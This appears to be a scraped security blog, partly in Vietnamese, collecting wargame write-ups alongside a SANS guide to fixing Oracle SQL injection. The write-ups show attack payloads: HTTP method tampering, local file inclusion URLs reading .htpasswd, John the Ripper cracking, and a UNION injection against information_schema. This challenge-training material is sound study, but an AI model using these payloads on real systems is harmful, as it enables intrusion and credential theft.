[Wechall] Limited Access 1+2

Ở bài thứ nhất, file .htaccess của bài như thế này:

AuthUserFile .htpasswd
AuthGroupFile /dev/null
AuthName "Authorization Required for the Limited Access Challenge"
AuthType Basic
<Limit GET>
require valid-user
</Limit>

Để ý thấy chỉ giới hạn phương thức GET, do đó ta request đến trang protected.php bằng phương thức POST là xong.

Ở bài thứ hai, file .htaccess đã giới hạn thêm cả phương thức POST và một số phương thức phổ biến khác:

AuthUserFile .htpasswd
AuthGroupFile /dev/null
AuthName "Authorization Required for the Limited Access Too Challenge"
AuthType Basic
<Limit GET POST HEAD PUT DELETE CONNECT OPTIONS>
require valid-user
</Limit>

Nhớ rằng HTTP hỗ trợ các phương thức sau: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH, LOCK, UNLOCK, TRACE.

Do đó ta truy cập file protected.php bằng phương thức PROPFIND là OK 🙂

 

Advertisements

How To Fix SQL Injection In Oracle

How to Fix SQL Injection using Oracle Database Code

A stored procedure is a logical set of SQL statements, performing a specific task; it is compiled once and stored on a database server for all clients to execute; they are used very commonly for the many benefits that they provide. Often times, stored procedures are blindly considered secure; however, it is not so always. SQL Injection is a concern when dynamic SQL is handled incorrectly in a stored procedure.

In Oracle, dynamic SQL can be used in 1. EXECUTE IMMEDIATE statements, 2. DBMS_SQL package and 3. Cursors. This article illustrates how dynamic SQL can be built securely to defend against SQL injection attacks.

Execute Immediate Statement

Secure Usage
--Execute Immediate - named parameter
sqlStmt := 'SELECT emp_id FROM employees WHERE emp_email = :email';
EXECUTE IMMEDIATE sqlStmt USING email;

and

--Execute Immediate - positional parameter
sqlStmt := 'SELECT emp_id FROM employees WHERE emp_email = :1 and emp_name = :2';
EXECUTE IMMEDIATE sqlStmt USING email, name;
Vulnerable Usage
sqlStmt:= 'SELECT emp_id FROM employees WHERE emp_email = ''' || email || '''';
EXECUTE IMMEDIATE sqlStmt INTO empId;

Here, the input variable “email” is used directly in the query using concatenation; opening up the possibility to manipulate the “where” clause.

DBMS_SQL Package

Secure Usage
sqlStmt := 'SELECT emp_id FROM employees WHERE emp_email = :email';
empcur := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(empcur, sqlStmt, DBMS_SQL.NATIVE);
DBMS_SQL.BIND_VARIABLE(empcur, ':email', email);
DBMS_SQL.EXECUTE(empcur);

Here, bind variable is used to set data to query, hence sql injection proof.

Vulnerable Usage
sqlStmt := 'SELECT emp_id FROM employees WHERE emp_email = ''' || email || '''';
empcur:= DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(empcur, sqlStmt, DBMS_SQL.NATIVE);
DBMS_SQL.EXECUTE(empcur);

Here, the input variable “email” is used directly in the query using concatenation; opening up the possibility to manipulate the “where” clause.

Cursor with dynamic query

Secure Usage
sqlStmt := 'SELECT emp_id FROM employees WHERE emp_email = :email';
OPEN empcur FOR sqlStmt USING email;

Here, bind variable is used to set data to the query, hence sql injection proof.

Vulnerable Usage
sqlStmt := 'SELECT emp_id FROM employees WHERE emp_email = ''' || email || '''';
OPEN empcur FOR sqlStmt;

Here, the input variable “email” is used directly in the query using concatenation; opening up the possibility to manipulate the “where” clause.

——

Thanks Priya Gnanasundar!

Link: http://software-security.sans.org/developer-how-to/fix-sql-injection-in-oracle-database-code

Crack the Code

We have crackthecode.py script and goal is get the code that is the key to decrypt message.

Easy solution is brute force the key :))

Code:

import hashlib
import sys

def validatecode(code):	
	sha1 = hashlib.sha1()
	sha1.update(code)
	
	sha224 = hashlib.sha224()
	sha224.update(code)
	
	sha256 = hashlib.sha256()
	sha256.update(code)
	
	sha384 = hashlib.sha384()
	sha384.update(code)
	
	if sha1.hexdigest()[0:2] == 'a6' and sha224.hexdigest()[0:2] == '7b' and sha256.hexdigest()[0:2] == '57' and sha384.hexdigest()[0:2] == 'db':
		return True
	else:
		return False
		
arr  = '0123456789'
code = ''
for i1 in arr:
	for i2 in arr:
		for i3 in arr:
			for i4 in arr:
				for i5 in arr:
					for i6 in arr:
						for i7 in arr:
							code = i1 + i2 + i3 + i4 + i5 + i6 + i7
							if validatecode(code) == True:
								print 'code: ' + code
								sys.exit()

After about 5s, script return the code is: 3495745

Then, run crackthecode.py with this code:

# python crackthecode.py -p 3495745

result:

Capture

Key: 44859c3554ee157264297d62d8aeef64685c57549051836001e14b8821ab6a0f

Access Control Using Procedure on Oracle Database

  • User được tương tác với dữ liệu thông qua thực thi Procedure.
  • Có 2 dạng Procedure cần quan tâm:
    • Definer-rights Procedure (thực thi dưới quyền của User làm chủ Procedure): user chỉ cần được cấp quyền EXECUTE là có thể thực hiện được procedure mà không cần phải có quyền trên các đối tượng mà procedure tham chiếu tới.
    • Invoker-rights Procedure (thực hiện dưới quyền của user gọi thực thi nó): user thực thi cần phải được cấp quyền trên các đối tượng mà Procedure tham chiếu tới.

– Ví dụ:

Có 2 bảng SYS.USERS và DUC.USERS có các record như sau:

SYS.USERS

1

DUC.USERS

2

Trong đó user DUC không có quyền select trên table SYS.USERS. Bây giờ ta tạo 2 procedure bằng quyền SYS để xem sự khác biệt.

Definer-rights Procedure

3

Invoker-rights Procedure

4

Sau khi cấp quyền thực thi 2 procedure cho user DUC, ta kết nối database bằng user DUC và gọi thực thi 2 procedure này, chú ý xem kết quả trả về:

5

Security Challenge 1

Links: damo.clanteam.com/sch1/index.php

Click vào home thấy URL là:

http://damo.clanteam.com/sch1/index.php?page=main

Dự đoán trang bị lỗi file inclusion, thử với payload để lấy file .htaccess:

http://damo.clanteam.com/sch1/index.php?page=admin/.htaccess%00

Kết quả được là:

AuthType Basic AuthName “Restricted Access!” AuthUserFile /www/clanteam.com/d/a/m/damo/htdocs/hiddenfoldersch1/.htpasswd Require user damo

Bây giờ cần đọc file .htpasswd, ta dùng payload:

http://damo.clanteam.com/sch1/index.php?page=../hiddenfoldersch1/.htpasswd%00

Kết quả là:

damo:$apr1$a1ce30f9$gPGHBAYaHDGK7asUC6DdN/

Ta đã có password đã mã hóa của user damo, bây giờ cần giải mã nó. Tôi sẽ dùng công cụ John the Ripper với wordlist là rockyou.txt

john --wordlist=rockyou.txt passwd.txt

Được mật khẩu là: explosion

Bây giờ nhập damo:explosion để xác thực truy cập vào folder admin, ta được key là:

solution

 

Thanks damo for this challenge!

Table Name II

Source code:

<?php
$secret = require('secret.php');
chdir('../../../');
define('GWF_PAGE_TITLE', 'Table Names II');
require_once('challenge/html_head.php');require(GWF_CORE_PATH.'module/WeChall/solutionbox.php');
 
if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE)))
{
        $chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 6, 'challenge/nurfed/more_table_names/index.php', $secret['flag']);}
$chall->showHeader();
$chall->onCheckSolution();
 
if (false !== Common::getGet('login')){
        $username = Common::getGetString('username', '');
        $password = Common::getGetString('password', '');
        
        if (preg_match('/statistics|tables|columns|table_constraints|key_column_usage|partitions|schema_privileges|schemata|database|schema\(\)/i', $username.$password))        {
                echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_match'));
        }
        else
        {                if (false === ($db = gdo_db_instance($secret['host'], $secret['username'], $secret['password'], $secret['database'])))
                {
                        die('Database error.');
                }
                 $db->setVerbose(false);
                $db->setLogging(false);
                $db->setEMailOnError(false);
                
                                $query = "SELECT * FROM {$secret['database']}.{$secret['table_name']} WHERE username='$username' AND password='$password'";
                if (false === ($result = ($db->queryFirst($query, false))))
                {
                        echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_login_fail'));
                }                else
                {
                        echo GWF_HTML::message(GWF_PAGE_TITLE, $chall->lang('on_logged_in', array(GWF_HTML::display($result['username']), GWF_HTML::display($result['message']))));
                }
        }}
 
?>
<div class="box box_c">
<form action="challenge.php" method="get"><div><?php echo $chall->lang('username'); ?>: <input type="text" name="username" value="" /></div>
<div><?php echo $chall->lang('password'); ?>: <input type="text" name="password" value="" /></div>
<div><input type="submit" name="login" value="<?php echo $chall->lang('login'); ?>" /></div>
</form>
</div><?php
echo $chall->copyrightFooter();
require_once('challenge/html_foot.php');

Do đã lọc hầu hết các từ khóa nên ta dùng payload:

' union select 1,2,info from information_schema.processlist-- -

Kết quả:

Welcome back 1

Your personal welcome message is: SELECT * FROM nurfedtables37.userbobbytable7 WHERE username='' union select 1,2,info from information_schema.processlist -- -' AND password=''

This ensures you are not on a fake evil phising site.

Submit: nurfedtables37_userbobbytable7